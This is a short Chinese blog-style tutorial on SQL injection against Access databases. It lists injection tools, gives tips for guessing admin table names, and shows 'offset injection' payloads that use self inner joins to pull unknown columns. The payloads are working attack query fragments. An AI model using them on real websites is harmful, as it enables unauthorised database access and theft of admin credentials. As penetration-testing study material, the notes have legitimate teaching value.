啊D,明小子,穿山甲,萝卜头havij,sqlmap
Access 常见复杂及问题注入
表名,列名无法获取
1、社工,对比网站url
www.xxx.com/pw_news.asp
表名:pw_admin,pw_manage,pw_system
2、列名无法获取
access偏移注入,社工,后台源码中参数名
工具制作原理:
字典爆破,逐字猜解
- 偏移注入:表名知道即可
1、用 “*” 代替字段,
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 逐个删除,*
可以看作字段数
* = 6个字符
2 x * = 12字符
22 – 12=10 字符
若在减6个 还是不出现
添加一句:from (admin as a inner join admin as b on a.id=b.id)
(一级注入)
- 一级偏移
select 1,2,3,4,5,6,7,8,9,10 from (admin as a inner join admin as b on a.id=b.id)
- 二级偏移
select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://i58-1251178265.cos.ap-nanjing.myqcloud.com/2024/02/20240226103045918.gif)
© 版权声明
THE END
暂无评论内容